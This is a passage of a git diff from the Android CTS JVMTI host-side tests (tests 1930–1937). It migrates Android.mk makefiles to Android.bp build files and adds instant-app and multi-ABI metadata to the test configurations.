diff --git a/hostsidetests/jvmti/run-tests/test-1930/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1930/app/Android.bp
new file mode 100644
index 0000000..0dcd23e
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1930/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1930DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1930/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1930/app/Android.mk
deleted file mode 100644
index b825307..0000000
--- a/hostsidetests/jvmti/run-tests/test-1930/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1930DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1931/Android.bp b/hostsidetests/jvmti/run-tests/test-1931/Android.bp
new file mode 100644
index 0000000..1ad7236
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1931/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1931HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1931DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1931/Android.mk b/hostsidetests/jvmti/run-tests/test-1931/Android.mk
deleted file mode 100644
index 7f8596c..0000000
--- a/hostsidetests/jvmti/run-tests/test-1931/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1931HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1931/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1931/AndroidTest.xml
index df176fd..1a37af6 100644
--- a/hostsidetests/jvmti/run-tests/test-1931/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1931/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1931/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1931/app/Android.bp
new file mode 100644
index 0000000..c3fc64a
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1931/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1931DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1931/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1931/app/Android.mk
deleted file mode 100644
index cbc56bb..0000000
--- a/hostsidetests/jvmti/run-tests/test-1931/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1931DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1932/Android.bp b/hostsidetests/jvmti/run-tests/test-1932/Android.bp
new file mode 100644
index 0000000..acbebed
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1932/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1932HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1932DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1932/Android.mk b/hostsidetests/jvmti/run-tests/test-1932/Android.mk
deleted file mode 100644
index 3ef295b..0000000
--- a/hostsidetests/jvmti/run-tests/test-1932/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1932HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1932/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1932/AndroidTest.xml
index 3d88bc4..6e5f0b1c 100644
--- a/hostsidetests/jvmti/run-tests/test-1932/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1932/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1932/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1932/app/Android.bp
new file mode 100644
index 0000000..a317ca5
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1932/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1932DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1932/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1932/app/Android.mk
deleted file mode 100644
index e2c8bb2..0000000
--- a/hostsidetests/jvmti/run-tests/test-1932/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1932DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1933/Android.bp b/hostsidetests/jvmti/run-tests/test-1933/Android.bp
new file mode 100644
index 0000000..4fde3e5
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1933/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1933HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1933DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1933/Android.mk b/hostsidetests/jvmti/run-tests/test-1933/Android.mk
deleted file mode 100644
index e7ba6e5..0000000
--- a/hostsidetests/jvmti/run-tests/test-1933/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1933HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1933/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1933/AndroidTest.xml
index 4d87c55..90df47b 100644
--- a/hostsidetests/jvmti/run-tests/test-1933/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1933/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1933/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1933/app/Android.bp
new file mode 100644
index 0000000..62a62ea
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1933/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1933DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1933/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1933/app/Android.mk
deleted file mode 100644
index dd8cee3..0000000
--- a/hostsidetests/jvmti/run-tests/test-1933/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1933DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1934/Android.bp b/hostsidetests/jvmti/run-tests/test-1934/Android.bp
new file mode 100644
index 0000000..a7b003c
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1934/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1934HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1934DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1934/Android.mk b/hostsidetests/jvmti/run-tests/test-1934/Android.mk
deleted file mode 100644
index 7495f9f..0000000
--- a/hostsidetests/jvmti/run-tests/test-1934/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1934HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1934/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1934/AndroidTest.xml
index c7ee6f1..fbb5a20 100644
--- a/hostsidetests/jvmti/run-tests/test-1934/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1934/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1934/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1934/app/Android.bp
new file mode 100644
index 0000000..2b73db8
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1934/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1934DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1934/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1934/app/Android.mk
deleted file mode 100644
index aa190f7..0000000
--- a/hostsidetests/jvmti/run-tests/test-1934/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1934DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1936/Android.bp b/hostsidetests/jvmti/run-tests/test-1936/Android.bp
new file mode 100644
index 0000000..7c4b29d
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1936/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1936HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1936DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1936/Android.mk b/hostsidetests/jvmti/run-tests/test-1936/Android.mk
deleted file mode 100644
index f4d006d..0000000
--- a/hostsidetests/jvmti/run-tests/test-1936/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1936HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1936/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1936/AndroidTest.xml
index e5ff702..8605d7e 100644
--- a/hostsidetests/jvmti/run-tests/test-1936/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1936/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1936/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1936/app/Android.bp
new file mode 100644
index 0000000..4f15834
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1936/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1936DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1936/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1936/app/Android.mk
deleted file mode 100644
index eff34af..0000000
--- a/hostsidetests/jvmti/run-tests/test-1936/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1936DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1937/Android.bp b/hostsidetests/jvmti/run-tests/test-1937/Android.bp
new file mode 100644
index 0000000..6814ef4
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1937/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1937HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1937DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1937/Android.mk b/hostsidetests/jvmti/run-tests/test-1937/Android.mk
deleted file mode 100644
index 6c1ce2d..0000000
--- a/hostsidetests/jvmti/run-tests/test-1937/Android.mk
+++ /dev/null
